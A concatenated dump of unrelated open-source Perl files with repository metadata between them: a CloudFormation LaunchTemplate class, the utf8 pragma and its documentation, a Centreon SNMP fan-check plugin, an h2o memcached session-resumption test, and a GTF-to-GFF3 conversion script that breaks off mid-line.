'ArrayOfCfn::Resource::Properties::AWS::EC2::LaunchTemplate::BlockDeviceMapping', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has CapacityReservationSpecification => (isa => 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::CapacityReservationSpecification', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has CpuOptions => (isa => 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::CpuOptions', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has CreditSpecification => (isa => 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::CreditSpecification', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has DisableApiTermination => (isa => 'Cfn::Value::Boolean', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has EbsOptimized => (isa => 'Cfn::Value::Boolean', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has ElasticGpuSpecifications => (isa => 'ArrayOfCfn::Resource::Properties::AWS::EC2::LaunchTemplate::ElasticGpuSpecification', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has ElasticInferenceAccelerators => (isa => 'ArrayOfCfn::Resource::Properties::AWS::EC2::LaunchTemplate::LaunchTemplateElasticInferenceAccelerator', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has HibernationOptions => (isa => 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::HibernationOptions', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has IamInstanceProfile => (isa => 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::IamInstanceProfile', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has ImageId => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has InstanceInitiatedShutdownBehavior => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has InstanceMarketOptions => (isa => 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::InstanceMarketOptions', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has InstanceType => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has KernelId => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has KeyName => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has LicenseSpecifications => (isa => 'ArrayOfCfn::Resource::Properties::AWS::EC2::LaunchTemplate::LicenseSpecification', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has Monitoring => (isa => 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::Monitoring', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has NetworkInterfaces => (isa => 'ArrayOfCfn::Resource::Properties::AWS::EC2::LaunchTemplate::NetworkInterface', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has Placement => (isa => 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::Placement', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has RamDiskId => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has SecurityGroupIds => (isa => 'Cfn::Value::Array|Cfn::Value::Function|Cfn::DynamicValue', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has SecurityGroups => (isa => 'Cfn::Value::Array|Cfn::Value::Function|Cfn::DynamicValue', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has TagSpecifications => (isa => 'ArrayOfCfn::Resource::Properties::AWS::EC2::LaunchTemplate::TagSpecification', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has UserData => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); } package Cfn::Resource::Properties::AWS::EC2::LaunchTemplate { use Moose; use MooseX::StrictConstructor; extends 'Cfn::Resource::Properties'; has LaunchTemplateData => (isa => 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::LaunchTemplateData', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has LaunchTemplateName => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Immutable'); } 1;
44.870073
232
0.643122
ed0a4d8315f974ce04413ada293fb5ca3d9b8c09
7,785
pm
Perl
Benchmarks/Recomputation/specOMP_install/bin/lib/utf8.pm
sqsq87/NVC
1ed478788978e3e85c219313cd55564d4037e242
[ "MIT" ]
null
null
null
Benchmarks/Recomputation/specOMP_install/bin/lib/utf8.pm
sqsq87/NVC
1ed478788978e3e85c219313cd55564d4037e242
[ "MIT" ]
null
null
null
Benchmarks/Recomputation/specOMP_install/bin/lib/utf8.pm
sqsq87/NVC
1ed478788978e3e85c219313cd55564d4037e242
[ "MIT" ]
null
null
null
package utf8; $utf8::hint_bits = 0x00800000; our $VERSION = '1.08'; sub import { $^H |= $utf8::hint_bits; $enc{caller()} = $_[1] if $_[1]; } sub unimport { $^H &= ~$utf8::hint_bits; } sub AUTOLOAD { require "utf8_heavy.pl"; goto &$AUTOLOAD if defined &$AUTOLOAD; require Carp; Carp::croak("Undefined subroutine $AUTOLOAD called"); } 1; __END__ =head1 NAME utf8 - Perl pragma to enable/disable UTF-8 (or UTF-EBCDIC) in source code =head1 SYNOPSIS use utf8; no utf8; # Convert the internal representation of a Perl scalar to/from UTF-8. $num_octets = utf8::upgrade($string); $success = utf8::downgrade($string[, FAIL_OK]); # Change each character of a Perl scalar to/from a series of # characters that represent the UTF-8 bytes of each original character. utf8::encode($string); # "\x{100}" becomes "\xc4\x80" utf8::decode($string); # "\xc4\x80" becomes "\x{100}" $flag = utf8::is_utf8(STRING); # since Perl 5.8.1 $flag = utf8::valid(STRING); =head1 DESCRIPTION The C<use utf8> pragma tells the Perl parser to allow UTF-8 in the program text in the current lexical scope (allow UTF-EBCDIC on EBCDIC based platforms). The C<no utf8> pragma tells Perl to switch back to treating the source text as literal bytes in the current lexical scope. B<Do not use this pragma for anything else than telling Perl that your script is written in UTF-8.> The utility functions described below are directly usable without C<use utf8;>. Because it is not possible to reliably tell UTF-8 from native 8 bit encodings, you need either a Byte Order Mark at the beginning of your source code, or C<use utf8;>, to instruct perl. When UTF-8 becomes the standard source format, this pragma will effectively become a no-op. For convenience in what follows the term I<UTF-X> is used to refer to UTF-8 on ASCII and ISO Latin based platforms and UTF-EBCDIC on EBCDIC based platforms. See also the effects of the C<-C> switch and its cousin, the C<$ENV{PERL_UNICODE}>, in L<perlrun>. Enabling the C<utf8> pragma has the following effect: =over 4 =item * Bytes in the source text that have their high-bit set will be treated as being part of a literal UTF-X sequence. This includes most literals such as identifier names, string constants, and constant regular expression patterns. On EBCDIC platforms characters in the Latin 1 character set are treated as being part of a literal UTF-EBCDIC character. =back Note that if you have bytes with the eighth bit on in your script (for example embedded Latin-1 in your string literals), C<use utf8> will be unhappy since the bytes are most probably not well-formed UTF-X. If you want to have such bytes under C<use utf8>, you can disable this pragma until the end the block (or file, if at top level) by C<no utf8;>. =head2 Utility functions The following functions are defined in the C<utf8::> package by the Perl core. You do not need to say C<use utf8> to use these and in fact you should not say that unless you really want to have UTF-8 source code. =over 4 =item * $num_octets = utf8::upgrade($string) Converts in-place the internal representation of the string from an octet sequence in the native encoding (Latin-1 or EBCDIC) to I<UTF-X>. The logical character sequence itself is unchanged. If I<$string> is already stored as I<UTF-X>, then this is a no-op. Returns the number of octets necessary to represent the string as I<UTF-X>. Can be used to make sure that the UTF-8 flag is on, so that C<\w> or C<lc()> work as Unicode on strings containing characters in the range 0x80-0xFF (on ASCII and derivatives). B<Note that this function does not handle arbitrary encodings.> Therefore Encode is recommended for the general purposes; see also L<Encode>. =item * $success = utf8::downgrade($string[, FAIL_OK]) Converts in-place the the internal representation of the string from I<UTF-X> to the equivalent octet sequence in the native encoding (Latin-1 or EBCDIC). The logical character sequence itself is unchanged. If I<$string> is already stored as native 8 bit, then this is a no-op. Can be used to make sure that the UTF-8 flag is off, e.g. when you want to make sure that the substr() or length() function works with the usually faster byte algorithm. Fails if the original I<UTF-X> sequence cannot be represented in the native 8 bit encoding. On failure dies or, if the value of C<FAIL_OK> is true, returns false. Returns true on success. B<Note that this function does not handle arbitrary encodings.> Therefore Encode is recommended for the general purposes; see also L<Encode>. =item * utf8::encode($string) Converts in-place the character sequence to the corresponding octet sequence in I<UTF-X>. That is, every (possibly wide) character gets replaced with a sequence of one or more characters that represent the individual I<UTF-X> bytes of the character. The UTF8 flag is turned off. Returns nothing. my $a = "\x{100}"; # $a contains one character, with ord 0x100 utf8::encode($a); # $a contains two characters, with ords 0xc4 and 0x80 B<Note that this function does not handle arbitrary encodings.> Therefore Encode is recommended for the general purposes; see also L<Encode>. =item * $success = utf8::decode($string) Attempts to convert in-place the octet sequence in I<UTF-X> to the corresponding character sequence. That is, it replaces each sequence of characters in the string whose ords represent a valid UTF-X byte sequence, with the corresponding single character. The UTF-8 flag is turned on only if the source string contains multiple-byte I<UTF-X> characters. If I<$string> is invalid as I<UTF-X>, returns false; otherwise returns true. my $a = "\xc4\x80"; # $a contains two characters, with ords 0xc4 and 0x80 utf8::decode($a); # $a contains one character, with ord 0x100 B<Note that this function does not handle arbitrary encodings.> Therefore Encode is recommended for the general purposes; see also L<Encode>. =item * $flag = utf8::is_utf8(STRING) (Since Perl 5.8.1) Test whether STRING is in UTF-8 internally. Functionally the same as Encode::is_utf8(). =item * $flag = utf8::valid(STRING) [INTERNAL] Test whether STRING is in a consistent state regarding UTF-8. Will return true is well-formed UTF-8 and has the UTF-8 flag on B<or> if string is held as bytes (both these states are 'consistent'). Main reason for this routine is to allow Perl's testsuite to check that operations have left strings in a consistent state. You most probably want to use utf8::is_utf8() instead. =back C<utf8::encode> is like C<utf8::upgrade>, but the UTF8 flag is cleared. See L<perlunicode> for more on the UTF8 flag and the C API functions C<sv_utf8_upgrade>, C<sv_utf8_downgrade>, C<sv_utf8_encode>, and C<sv_utf8_decode>, which are wrapped by the Perl functions C<utf8::upgrade>, C<utf8::downgrade>, C<utf8::encode> and C<utf8::decode>. Also, the functions utf8::is_utf8, utf8::valid, utf8::encode, utf8::decode, utf8::upgrade, and utf8::downgrade are actually internal, and thus always available, without a C<require utf8> statement. =head1 BUGS One can have Unicode in identifier names, but not in package/class or subroutine names. While some limited functionality towards this does exist as of Perl 5.8.0, that is more accidental than designed; use of Unicode for the said purposes is unsupported. One reason of this unfinishedness is its (currently) inherent unportability: since both package names and subroutine names may need to be mapped to file and directory names, the Unicode capability of the filesystem becomes important-- and there unfortunately aren't portable answers. =head1 SEE ALSO L<perlunitut>, L<perluniintro>, L<perlrun>, L<bytes>, L<perlunicode> =cut
36.209302
77
0.74939
73e0cd82324d20965553208eab35cdc4d87d37f3
3,427
pm
Perl
network/raisecom/snmp/mode/components/fan.pm
xdrive05/centreon-plugins
8227ba680fdfd2bb0d8a806ea61ec1611c2779dc
[ "Apache-2.0" ]
1
2021-03-16T22:20:32.000Z
2021-03-16T22:20:32.000Z
network/raisecom/snmp/mode/components/fan.pm
xdrive05/centreon-plugins
8227ba680fdfd2bb0d8a806ea61ec1611c2779dc
[ "Apache-2.0" ]
null
null
null
network/raisecom/snmp/mode/components/fan.pm
xdrive05/centreon-plugins
8227ba680fdfd2bb0d8a806ea61ec1611c2779dc
[ "Apache-2.0" ]
null
null
null
# # Copyright 2020 Centreon (http://www.centreon.com/) # # Centreon is a full-fledged industry-strength solution that meets # the needs in IT infrastructure and application monitoring for # service performance. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # package network::raisecom::snmp::mode::components::fan; use strict; use warnings; my %map_fan_state = ( 1 => 'normal', 2 => 'abnormal', ); my $mapping = { raisecomFanSpeedValue => { oid => '.1.3.6.1.4.1.8886.1.1.5.2.2.1.2' }, raisecomFanWorkState => { oid => '.1.3.6.1.4.1.8886.1.1.5.2.2.1.3', map => \%map_fan_state }, }; my $oid_raisecomFanMonitorStateEntry = '.1.3.6.1.4.1.8886.1.1.5.2.2.1'; sub load { my ($self) = @_; push @{$self->{request}}, { oid => $oid_raisecomFanMonitorStateEntry }; } sub check { my ($self) = @_; $self->{output}->output_add(long_msg => "Checking fans"); $self->{components}->{fan} = {name => 'fan', total => 0, skip => 0}; return if ($self->check_filter(section => 'fan')); foreach my $oid ($self->{snmp}->oid_lex_sort(keys %{$self->{results}->{$oid_raisecomFanMonitorStateEntry}})) { next if ($oid !~ /^$mapping->{raisecomFanWorkState}->{oid}\.(.*)$/); my $instance = $1; my $result = $self->{snmp}->map_instance(mapping => $mapping, results => $self->{results}->{$oid_raisecomFanMonitorStateEntry}, instance => $instance); next if ($self->check_filter(section => 'fan', instance => $instance)); $self->{components}->{fan}->{total}++; $self->{output}->output_add(long_msg => sprintf("Fan '%s' status is '%s' [instance = %s]", $instance, $result->{raisecomFanWorkState}, $instance)); my $exit = $self->get_severity(section => 'fan', value => $result->{raisecomFanWorkState}); if (!$self->{output}->is_status(value => $exit, compare => 'ok', litteral => 1)) { $self->{output}->output_add(severity => $exit, short_msg => sprintf("Fan '%s' status is '%s'", $instance, $result->{raisecomFanWorkState})); } my ($exit2, $warn, $crit) = $self->get_severity_numeric(section => 'fan.speed', instance => $instance, value => $result->{raisecomFanSpeedValue}); if (!$self->{output}->is_status(value => $exit2, compare => 'ok', litteral => 1)) { $self->{output}->output_add(severity => $exit2, short_msg => sprintf("Fan speed '%s' is %s rpm", $instance, $result->{raisecomFanSpeedValue})); } $self->{output}->perfdata_add( label => 'fan', unit => 'rpm', nlabel => 'hardware.fan.speed.rpm', instances => $instance, value => $result->{raisecomFanSpeedValue}, warning => $warn, critical => $crit, min => 0 ); } } 1;
40.317647
159
0.589437
73e99fe7420b463d6187521320626eed44d46613
1,742
t
Perl
t/40memcached-session-resumption.t
adarshdec23/h2o_custom_priority
c6dde246a2df2570e40618b51757616de2b3df89
[ "MIT" ]
null
null
null
t/40memcached-session-resumption.t
adarshdec23/h2o_custom_priority
c6dde246a2df2570e40618b51757616de2b3df89
[ "MIT" ]
null
null
null
t/40memcached-session-resumption.t
adarshdec23/h2o_custom_priority
c6dde246a2df2570e40618b51757616de2b3df89
[ "MIT" ]
null
null
null
use strict; use warnings; use File::Temp qw(tempdir); use Net::EmptyPort qw(check_port empty_port); use Test::More; use t::Util; plan skip_all => "could not find memcached" unless prog_exists("memcached"); plan skip_all => "could not find openssl" unless prog_exists("openssl"); my $tempdir = tempdir(CLEANUP => 1); doit("binary"); doit("ascii"); done_testing; sub doit { my $memc_proto = shift; subtest $memc_proto => sub { # start memcached my $memc_port = empty_port(); my $memc_guard = spawn_server( argv => [ qw(memcached -l 127.0.0.1 -p), $memc_port, "-B", $memc_proto ], is_ready => sub { check_port($memc_port); }, ); # the test my $spawn_and_connect = sub { my ($opts, $expected) = @_; my $server = spawn_h2o(<< "EOT"); ssl-session-resumption: mode: cache cache-store: memcached memcached: host: 127.0.0.1 port: $memc_port protocol: $memc_proto hosts: default: paths: /: file.dir: @{[ DOC_ROOT ]} EOT my $lines = do { open my $fh, "-|", "openssl s_client -no_ticket $opts -connect 127.0.0.1:$server->{tls_port} 2>&1 < /dev/null" or die "failed to open pipe:$!"; local $/; <$fh>; }; $lines =~ m{---\n(New|Reused),}s or die "failed to parse the output of s_client:{{{$lines}}}"; is $1, $expected; }; $spawn_and_connect->("-sess_out $tempdir/session", "New"); $spawn_and_connect->("-sess_in $tempdir/session", "Reused"); }; }
27.650794
127
0.51837
ed1fa42205b142c86da6ab8ecba0c1e11aa49e44
5,085
pl
Perl
webapp/perl/local/lib/perl5/auto/share/dist/DateTime-Locale/sq-MK.pl
tomoyanp/isucon9-qualify-20210912
f84b5d1c82f9d41bbba02422c1a6acd358d9c41a
[ "MIT" ]
null
null
null
webapp/perl/local/lib/perl5/auto/share/dist/DateTime-Locale/sq-MK.pl
tomoyanp/isucon9-qualify-20210912
f84b5d1c82f9d41bbba02422c1a6acd358d9c41a
[ "MIT" ]
5
2021-05-20T04:16:14.000Z
2022-02-12T01:40:02.000Z
webapp/perl/local/lib/perl5/auto/share/dist/DateTime-Locale/sq-MK.pl
matsubara0507/isucon9-kansousen
77b19085d76add98a3ce7370063a8636cde62499
[ "MIT" ]
null
null
null
{ am_pm_abbreviated => [ "p.d.", "m.d.", ], available_formats => { Bh => "h B", Bhm => "h:mm B", Bhms => "h:mm:ss B", E => "ccc", EBhm => "E h:mm B", EBhms => "E h:mm:ss B", EHm => "E, HH:mm", EHms => "E, HH:mm:ss", Ed => "E, d", Ehm => "E, h:mm a", Ehms => "E, h:mm:ss a", Gy => "y G", GyMMM => "MMM y G", GyMMMEd => "E, d MMM y G", GyMMMd => "d MMM y G", H => "HH", Hm => "HH:mm", Hms => "HH:mm:ss", Hmsv => "HH:mm:ss, v", Hmv => "HH:mm, v", M => "L", MEd => "E, d.M", MMM => "LLL", MMMEd => "E, d MMM", MMMMEd => "E, d MMMM", "MMMMW-count-one" => "'java' W 'e' MMMM", "MMMMW-count-other" => "'java' W 'e' MMMM", MMMMd => "d MMMM", MMMd => "d MMM", MMdd => "d.M", Md => "d.M", d => "d", h => "h a", hm => "h:mm a", hms => "h:mm:ss a", hmsv => "h:mm:ss a, v", hmv => "h:mm a, v", ms => "mm:ss", y => "y", yM => "M.y", yMEd => "E, d.M.y", yMMM => "MMM y", yMMMEd => "E, d MMM y", yMMMM => "MMMM y", yMMMd => "d MMM y", yMd => "d.M.y", yQQQ => "QQQ, y", yQQQQ => "QQQQ, y", "yw-count-one" => "'java' w 'e' Y", "yw-count-other" => "'java' w 'e' Y", }, code => "sq-MK", date_format_full => "EEEE, d MMMM y", date_format_long => "d MMMM y", date_format_medium => "d MMM y", date_format_short => "d.M.yy", datetime_format_full => "{1} 'n\N{U+00eb}' {0}", datetime_format_long => "{1} 'n\N{U+00eb}' {0}", datetime_format_medium => "{1}, {0}", datetime_format_short => "{1}, {0}", day_format_abbreviated => [ "H\N{U+00eb}n", "Mar", "M\N{U+00eb}r", "Enj", "Pre", "Sht", "Die", ], day_format_narrow => [ "h", "m", "m", "e", "p", "sh", "d", ], day_format_wide => [ "e h\N{U+00eb}n\N{U+00eb}", "e mart\N{U+00eb}", "e m\N{U+00eb}rkur\N{U+00eb}", "e enjte", "e premte", "e shtun\N{U+00eb}", "e diel", ], day_stand_alone_abbreviated => [ "h\N{U+00eb}n", "mar", "m\N{U+00eb}r", "enj", "pre", "sht", "die", ], day_stand_alone_narrow => [ "h", "m", "m", "e", "p", "sh", "d", ], day_stand_alone_wide => [ "e h\N{U+00eb}n\N{U+00eb}", "e mart\N{U+00eb}", "e m\N{U+00eb}rkur\N{U+00eb}", "e enjte", "e premte", "e shtun\N{U+00eb}", "e diel", ], era_abbreviated => [ "p.K.", "mb.K.", ], era_narrow => [ "p.K.", "mb.K.", ], era_wide => [ "para Krishtit", "mbas Krishtit", ], first_day_of_week => 1, glibc_date_1_format => "%a %b %e %H:%M:%S %Z %Y", glibc_date_format => "%m/%d/%y", glibc_datetime_format => "%a %b %e %H:%M:%S %Y", glibc_time_12_format => "%I:%M:%S %p", glibc_time_format => "%H:%M:%S", language => "Albanian", month_format_abbreviated => [ "jan", "shk", "mar", "pri", "maj", "qer", "korr", "gush", "sht", "tet", "n\N{U+00eb}n", "dhj", ], month_format_narrow => [ "j", "sh", "m", "p", "m", "q", "k", "g", "sh", "t", "n", "dh", ], month_format_wide => [ "janar", "shkurt", "mars", "prill", "maj", "qershor", "korrik", "gusht", "shtator", "tetor", "n\N{U+00eb}ntor", "dhjetor", ], month_stand_alone_abbreviated => [ "jan", "shk", "mar", "pri", "maj", "qer", "korr", "gush", "sht", "tet", "n\N{U+00eb}n", "dhj", ], month_stand_alone_narrow => [ "j", "sh", "m", "p", "m", "q", "k", "g", "sh", "t", "n", "dh", ], month_stand_alone_wide => [ "janar", "shkurt", "mars", "prill", "maj", "qershor", "korrik", "gusht", "shtator", "tetor", "n\N{U+00eb}ntor", "dhjetor", ], name => "Albanian North Macedonia", native_language => "shqip", native_name => "shqip Maqedonia e Veriut", native_script => undef, native_territory => "Maqedonia e Veriut", native_variant => undef, quarter_format_abbreviated => [ "tremujori I", "tremujori II", "tremujori III", "tremujori IV", ], quarter_format_narrow => [ 1, 2, 3, 4, ], quarter_format_wide => [ "tremujori i par\N{U+00eb}", "tremujori i dyt\N{U+00eb}", "tremujori i tret\N{U+00eb}", "tremujori i kat\N{U+00eb}rt", ], quarter_stand_alone_abbreviated => [ "Tremujori I", "Tremujori II", "Tremujori III", "Tremujori IV", ], quarter_stand_alone_narrow => [ 1, 2, 3, 4, ], quarter_stand_alone_wide => [ "Tremujori i 1-r\N{U+00eb}", "Tremujori i 2-t\N{U+00eb}", "Tremujori i 3-t\N{U+00eb}", "Tremujori i 4-t", ], script => undef, territory => "North Macedonia", time_format_full => "HH:mm:ss zzzz", time_format_long => "HH:mm:ss z", time_format_medium => "HH:mm:ss", time_format_short => "HH:mm", variant => undef, version => 35, }
18.490909
51
0.457227
ed5cf86dceb583dd17118ea0be68d0841c73d1d3
14,405
pl
Perl
data_format/gtf2gff3_3level.pl
hyphaltip/genome-scripts
65949403a34f019d5785bfb29bee6456c7e6f7e0
[ "Artistic-2.0" ]
46
2015-06-11T14:16:35.000Z
2022-02-22T04:57:15.000Z
data_format/gtf2gff3_3level.pl
harish0201/genome-scripts
68234e24c463e22006b49267a76d87c774945b5c
[ "Artistic-2.0" ]
1
2018-08-07T04:02:16.000Z
2018-08-21T03:40:01.000Z
data_format/gtf2gff3_3level.pl
harish0201/genome-scripts
68234e24c463e22006b49267a76d87c774945b5c
[ "Artistic-2.0" ]
47
2015-09-22T13:59:15.000Z
2022-03-25T02:13:52.000Z
#!/usr/bin/perl -w use strict; my $fix = 0; my $debug = 0; use Getopt::Long; my ($transprefix,$prefix) = ( '',''); my $skipexons; my $stops_outside_CDS = 0; GetOptions('fix!' => \$fix, # get point name 's|skipexons:s' => \$skipexons, 'p|prefix:s' => \$prefix, 'tp|transprefix:s' => \$transprefix, 'so|stopoutside!' => \$stops_outside_CDS, # when doing Broad data set to 1 'v|debug!' => \$debug); $transprefix = $prefix if defined $prefix && ! defined $transprefix; my %genes; my %genes2alias; my %transcript2name; my %gene2name; my %transcript2protein; my $last_tid; while(<>) { chomp; my $line = $_; my @line = split(/\t/,$_); next unless ($line[2] eq 'CDS' || $line[2] eq 'exon' || $line[2] eq 'stop_codon' || $line[2] eq 'start_codon' ); $line[-1] =~ s/^\s+//; $line[-1] =~ s/\s+$//; my %set = map { split(/\s+/,$_,2) } split(/\s*;\s*/,pop @line); my ($gid,$tid,$pid,$tname,$gname,$alias,$name,$transID,$protID) = ( map { my $rc = undef; if( exists $set{$_} ) { $set{$_} =~ s/\"//g; $rc = $set{$_}; } $rc; } qw(gene_id transcript_id protein_id transcript_name gene_name aliases name transcriptId proteinId)); $tid = $transID if ! $tid && $transID; $pid = $protID if ! $pid && $protID; $gname = $name if ! $gname && $name; if( ! $tid ) { $tid = $last_tid; } # if( ! $gid ) { # $gid = $tid; # } if( defined $tid && $tid =~ /^\d+$/ ) { # JGI transcript ids are numbers only $tid = "$prefix\_$tid"; } if( $tname ) { $transcript2name{$tid} = $tname; } if( ! $gid && ! $tid) { warn(join(" ", keys %set), "\n"); die "No GID or TID invalid GTF: $line \n"; } if( $pid ) { if( $pid =~ /^\d+$/ ) { # JGI transcript ids are numbers only $tid = "$prefix\_$pid"; } $transcript2protein{$tid} = $pid; } $gid = $tid if ! $gid; # warn("tid=$tid pid=$pid gid=$gid tname=$tname gname=$gname\n"); if( $fix ) { if( $tid =~ /(\S+)\.\d+$/) { $gid = $1; } } if( $gname) { $gene2name{$gid} = $gname; } if( ! defined $genes{$gid}->{min} || $genes{$gid}->{min} > $line[3] ) { $genes{$gid}->{min} = $line[3]; } if( ! defined $genes{$gid}->{max} || $genes{$gid}->{max} < $line[4] ) { $genes{$gid}->{max} = $line[4]; } if( ! defined $genes{$gid}->{strand} ) { $genes{$gid}->{strand} = $line[6]; } if( ! defined $genes{$gid}->{chrom} ) { $genes{$gid}->{chrom} = $line[0]; } if( ! defined $genes{$gid}->{src} ) { $genes{$gid}->{src} = $line[1]; } if( defined $alias ) { $genes2alias{$gid} = join(',',split(/\s+/,$alias)); } push @{$genes{$gid}->{transcripts}->{$tid}}, [@line]; $last_tid = $tid; } print "##gff-version 3\n","##date-created ".localtime(),"\n"; my %counts; for my $gid ( sort { $genes{$a}->{chrom} cmp $genes{$b}->{chrom} || $genes{$a}->{min} <=> $genes{$b}->{min} } keys %genes ) { my $gene = $genes{$gid}; my $gene_id = $gid; #sprintf("%sgene%06d",$prefix,$counts{'gene'}++); my $aliases = $genes2alias{$gid}; my $gname = $gene2name{$gid}; if( $gname ) { if( $aliases) { $aliases = join(",",$gid,$aliases); } else { $aliases = $gid; } } else { $gname = $gid; } $gname = sprintf('"%s"',$gname) if $gname =~ /[;\s,]/; my $ninth = sprintf("ID=%s;Name=%s",$gene_id, $gname); if( $aliases ) { $ninth .= sprintf(";Alias=%s",$aliases); } print join("\t", ( $gene->{chrom}, $gene->{src}, 'gene', $gene->{min}, $gene->{max}, '.', $gene->{strand}, '.', $ninth)),"\n"; while( my ($transcript,$exonsref) = each %{$gene->{'transcripts'}} ) { @$exonsref = sort { $a->[3] * ($a->[6] eq '-' ? -1 : 1) <=> $b->[3] * ($b->[6] eq '-' ? -1 : 1) } @$exonsref; # my $mrna_id = sprintf("%smRNA%06d",$prefix,$counts{'mRNA'}++); my $mrna_id; if( $transcript =~ /T\d+$/ ) { $mrna_id = $transcript; $counts{'mRNA'}->{$transcript}++; } else { $mrna_id = sprintf("%sT%d",$transcript,$counts{'mRNA'}->{$transcript}++); } my @exons = grep { $_->[2] eq 'exon' } @$exonsref; my @cds = grep { $_->[2] eq 'CDS' } @$exonsref; if( ! @cds ) { warn("no CDS found in $mrna_id ($gid,$transcript) ", join(",", map { $_->[2] } @$exonsref),"\n") if $debug; next; } my ($start_codon) = grep { $_->[2] eq 'start_codon' } @$exonsref; my ($stop_codon) = grep { $_->[2] eq 'stop_codon' } @$exonsref; if( ! @exons ) { for my $e ( @cds ) { push @exons, [@$e]; $exons[-1]->[2] = 'exon'; } } my $proteinid = $transcript2protein{$transcript}; my ($chrom,$src,$strand,$min,$max); for my $exon ( @exons ) { $chrom = $exon->[0] unless defined $chrom; $src = $exon->[1] unless defined $src; $min = $exon->[3] if( ! defined $min || $min > $exon->[3]); $max = $exon->[4] if( ! defined $max || $max < $exon->[4]); $strand = $exon->[6] unless defined $strand; } my $strand_val = $strand eq '-' ? -1 : 1; my $transname = $transprefix.$transcript; my $transaliases = $transcript; if( exists $transcript2name{$transcript} ) { $transname = $transcript2name{$transcript}; $transname = sprintf('"%s"',$transname) if $transname =~ /[;\s,]/; } my $mrna_ninth = sprintf("ID=%s;Parent=%s;Name=%s", $mrna_id,$gene_id,$transname); if( $transaliases && $transaliases ne $transname ) { $mrna_ninth .= sprintf(";Alias=%s",$transaliases); } print join("\t",($chrom, $src, 'mRNA', $min, $max, '.', $strand, '.', $mrna_ninth, )),"\n"; my ($translation_start, $translation_stop); # sanity check the CDS - apparently the JGI has CDS which are not # CDS as they come before or after the stop/start # codon inappropriately warn("CDS order is [strand=$strand_val]:\n") if $debug; # order 5' -> 3' by multiplying start by strand my @keepcds; for my $cds ( sort { $a->[3] * $strand_val <=> $b->[3] * $strand_val } @cds ) { warn("CDS: ",join("\t", @$cds), "\n") if ( $debug ); if ( ! defined $stop_codon && ! defined $start_codon) { push @keepcds, $cds; } elsif ( $strand_val > 0 ) { # plus strand if ( defined $stop_codon && $stop_codon->[4] < $cds->[3] ) { # stop codon comes before this CDS, # drop the CDS (codon stop is < CDS start) warn("dropping CDS after the stop [plus]\n") if $debug; } elsif ( defined $start_codon && $cds->[4] < $start_codon->[3] ) { # CDS ends before the start codon began warn("dropping CDS before the start [plus]\n") if $debug; } else { warn("keeping CDS [plus]\n") if $debug; push @keepcds, $cds; } } elsif ( $strand_val < 0) { # minus strand if ( defined $stop_codon && $stop_codon->[3] > $cds->[4] ) { # start codon comes after the CDS (codon start > CDS stop) warn("dropping CDS that comes after the stop [minus]\n") if $debug; } elsif ( defined $start_codon && $cds->[3] > $start_codon->[4] ) { # CDS starts after start codon ends warn("dropping CDS that comes before the start [minus]\n") if $debug; } else { warn("keeping CDS [minus]\n") if $debug; push @keepcds, $cds; } } else { die "unknown state\n"; } } @cds = @keepcds; if( $stop_codon ) { if( $strand_val > 0 ) { warn("stop codon is ", join("\t", @{$stop_codon}), " cds was ",$cds[-1]->[3], "..",$cds[-1]->[4],"\n") if $debug; $cds[-1]->[4] = $stop_codon->[4]; warn("cds (stop) updated to ", $cds[-1]->[3], "..",$cds[-1]->[4],"\n") if $debug; $translation_stop = $stop_codon->[4]; } else { if( @cds ) { warn("stop 